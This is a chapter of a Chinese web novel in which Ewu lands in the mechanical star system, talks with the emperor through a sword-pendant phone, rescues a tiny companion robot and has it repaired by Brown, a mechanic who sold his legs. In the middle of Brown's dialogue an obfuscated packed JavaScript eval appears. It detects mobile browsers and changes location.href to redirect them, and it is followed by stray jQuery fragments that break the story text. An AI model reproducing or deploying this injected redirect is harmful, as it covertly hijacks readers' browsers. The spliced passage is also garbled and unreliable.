艾比操作时，在机械神的指示下，悄悄改了几个按键，才让星舰准确来到机械星系。厄吾看上去没有怀疑，指挥艾比降落到临近的港口。


    星球内黄沙弥漫，浓重的雾霾遮挡天空，让人看不清远处。路上偶尔遇见的废弃金属造物，只露出清晰的头部，背后庞大的黑影在黄沙中影影绰绰，仿若蛰伏的怪物。


    服务机器人艾比没有跟着厄吾，而是继续留在星舰里。路上只有厄吾一个人前进。


    虽然不是之前定下的目的地，但帝神说机械神也是需要清除的对象，厄吾决定留下调查，有机会给机械神一个痛快。


    厄吾脖子上的吊坠突然发出铃声，白发青年满头问号拿起，里面传来赢邺的声音：“到哪了，小神仙？”


    厄吾：“到机械星系了……话说，为什么神剑还能打电话？”


    “朕专门加的功能，方便联络。不仅如此，朕还增加了烧烤、切菜、充电、清洁等功能，居家旅行必备。”


    神弃星域与世隔绝，一般来说内部很难联络到外界，所以赢邺把神剑给厄吾作为锚点。


    赢邺：“私下里小神仙叫我名字，我也叫你阿无，可以吧？”


    “无所谓。”


    “好的，啊呜。我看星舰路线偏离航线，发生什么事了？”


    厄吾：“总觉得你没好好叫名字……算了。”


    他把星舰差点撞上飞船告诉赢邺，重点说了星舰不合理的保险制度。


    但赢邺对厄吾和舰长的对话更感兴趣，听到厄吾说“我认识皇上”，直接笑出声：


    “哈哈哈，你真这么说？太有趣了！欸——可惜我没能看到现场，早知道一直关注那边了……”


    厄吾感觉不太对，身为为国为民的明君，这种时候更关心八卦？


    赢邺像是推测出厄吾心中所想，恢复之前的懒散倦怠，微叹：“本来保险是为了星舰工作人员着想，担心无意出事后倾家荡产赔偿，没想到被他们利用，宁愿撞死人也不停机。朕知道了，以后会增加监管部门，杜绝类似行为。”


    厄吾：“帝神辛苦。”


    赢邺：“觉得我辛苦就多讲讲趣事。皇宫里无聊透顶，无论是谁，见我第一反应就是害怕下跪，魂都吓没了。”


    刚开始觉得有意思，见多了就很烦，杀一批换一批上来，还是这样。赢邺也没劲杀了。


    还是阿无有意思。


    但厄吾认真说：“我是来当特工的，不能陪你玩。”


    赢邺被他一本正经的样子逗笑：“好的，特工先生。我就不打扰你工作了。”


    电话挂断，神剑恢复平平无奇的样子，看上去像路边几个币的周边。


    厄吾来到一座金属堆积的城市，因为周围的高山，这里黄沙少了很多，能看到城市最高处，是一座星空巨兽的残骸化作的机械飞船。城市里地面也是金属板，来往的人身上或多或少都有金属部位，脚下踩着滑轮行色匆匆。


    厄吾放下披风上的兜帽，顺着街道前进，一边观察。


    这里的人灵魂较弱，普通人占了大多数，面上表情十分麻木。


    完全不像活着的人，反而像机器。


    厄吾打算找个“土著”问问情况。他跟着人多的方向走，在经过一条小巷时，听到角落的金属零件堆传来哗啦哗啦的响声。他无意间一瞥，看到微弱的灵魂光芒。


    这么小的地方，能塞下什么人？


    厄吾不知道是什么妖魔鬼怪，拿起金属棍扒拉两下，层层叠叠的金属片被拱起，一只小小的机械手从里面伸出，把金属堆拨开，终于露出全貌——是个比巴掌大一点的陪伴机器人。


    机器人人性化叹气：“终于出来了。”


    它是两头身，头部就占了一半，方形的显示屏上眼睛弯弯：“谢谢你，人！我叫艾比。”


    厄吾：“你也叫艾比？”


    真的这么巧？同样有灵魂的机器人，同样大众的名字。


    艾比：“嗯嗯！这个名字不好吗？难道主人是因为名字，把我丢在这里？”


    它尝试移动，但圆柱底座下的轮子太小，艾比走得很慢。


    艾比仰头求助厄吾：“人，能麻烦你把我送到主人那吗？对不起，我谁也不认识，真的不知道该求助谁。”


    它把自己的胳膊拆下来，递给厄吾：“作为回报，我把胳膊送给你。”


    厄吾抿唇，把艾比托在手心：“拒绝，我不会帮你，胳膊收回去。”


    这种主人不要也罢。


    白发青年声音平静：“现在你被我绑架了，不能逃跑，明白吗？”


    艾比：“……噫？绑、绑架？！”


    骤然升高的景色让它下意识抓住厄吾的手指，却发现白发青年手心极稳，把艾比轻轻放在口袋里，让它冒出一个头。


    看着路边后退的景色，艾比反应过来厄吾的好意。过了一会，它鼓足勇气询问：“我、我们去哪？”


    厄吾：“修理店，把你的面板修一修，再把语言系统的结巴改改。”


    艾比头上冒热气：“不、不是结巴！”


    大概是掉进金属堆时磕到玻璃显示屏，艾比脸部右上角有大大的裂口，能看见里面的电路和零件。


    厄吾打听到最近的修理店在这条街尽头，按理来说修理店在机械星系应该很吃香，但这家店出乎意料地落败，甚至就建在金属垃圾堆旁边。


    厄吾用力拉开生锈的金属门，店里几乎没有光线，杂物堆积在一起。


    “有人吗？”


    “有有有！”一道开朗的男声高兴说，“今天大幸运！竟然有人来这破店。”


    橘发青年从杂物堆后面冒出来，碧色眼睛像混血儿，元气满满：“欢迎光临布朗修理店！从头发丝到脚指甲都能修理哦！”


    厄吾把艾比从口袋里掏出来放在唯一桌面上：“他能修吗？”


    艾比怯怯抱着厄吾的手指头，躲在后面看布朗放下头上的护目镜，靠近艾比。


    直到布朗站起来，厄吾才发现橘发青年的下半身没有腿，而是两个巨大的车轮，在半身人体下，骇人又惊悚。


    布朗注意到厄吾的视线：“在意我的腿吗？那我来介绍一下吧。”


    厄吾礼貌收回视线：“没问题吗？”


    布朗扬起笑容：“没事哒，第一次见面的陌生人总会下意识关注，这是人之常情。想看就大大方方看好了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229990|165166||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    厄吾好奇观察人和轮胎怎么连接，布朗哈哈大笑：“哥你是真性情啊！很多人想看都忍住不看，眼里都是同情怜悯，反而让我不好意思。”


    厄吾：“轮子和腿一样，都是代步工具。”


    “是啊，我也这么想，所以把腿卖了换道币，建立这家修理店。”


    “用腿换钱？”


    “哥你新来的吧，这边人都这样。因为普通人身体生老病死很常见，为了活下去，很多人辛苦攒钱，就是为了换一副好的机械身体。活的血肉在机械神手下能变成永生的活器，很值钱的。但因为活器数量少，大部分人还是用高端机械肢体。”


    “我这轮子当然不高级，是从垃圾堆里掏来，自己安装的，都是为了省钱。”


    厄吾很难想象，一个失去双腿的人如何狠心给自己做手术，把坚硬的轮胎支架插进自己下身。


    “不疼吗？”


    布朗一愣，摸摸后脑勺：“哈哈，你是第一个关心这种问题的……说实话挺疼的，我没钱买麻药，整个过程全都自己扛。但我已经把腿锯掉卖了，根本没退路。”


    “很奇怪吧？所有人都不认可我，但我只是想继续自己的研究，实在没经费，才卖腿。”


    他见厄吾安静又耐心听着，努力笑了笑，给厄吾看自己的研究成果。


    一个破旧的人形小机器人被他抱上来，布朗按下开关，小机器人开口说话：“你你你好~滋滋滋……我是……滋滋……斑布……”


    布朗尴尬笑笑：“声音还有待改进，我的设想是创造出有自己思想和意识的机器人！”


    厄吾看着小机器人里微弱的灵魂光芒，喃喃：“有自己灵魂的机器人……”


    布朗眼睛一亮：“对对对！是这种意思！”


    厄吾指指艾比：“它也是你做的吗？”


    “不是哎，我做的机器人非常古老，是星历年前的类型，这种太先进了。”


    艾比也大声反驳：“不是不是！艾比是在工厂里出生的！”


    布朗拿着修理工具靠近艾比，面对小小的机器人，露出最温柔的表情：“来吧小家伙，让我看看你出了什么问题~”


    但在艾比眼里，这个家伙长得奇怪又恐怖，阴森森过来，想把他从厄吾身边带走！


    艾比哭着跑向厄吾：“呜呜呜阿吾救救我！艾比不要落在他手里！！”


    布朗：“桀桀桀小家伙别跑啊，让哥哥看看！”


    厄吾：……


    他把揪住衣角不放的艾比托起来，微叹：“你太热情把艾比吓到了，我来吧。”


    布朗遗憾：“好吧。”


    布朗查了查艾比的型号，翻了半天终于翻到比较配套的显示面板。


    布朗把零件和工具给厄吾，看着白发青年蹲在艾比面前，小心又认真取下原来破碎的，用镊子把里面的残渣挑出，换上新的时还问：“感觉合适吗？”


    艾比乖巧安静站在桌子上一动不动，重新通上电后，面板上出现两个大爱心：“超合适！谢谢阿吾！”


    整个身体都在说着，对面前人类的喜欢。


    布朗想，他好像又看到自己，当初坚持研究的初心。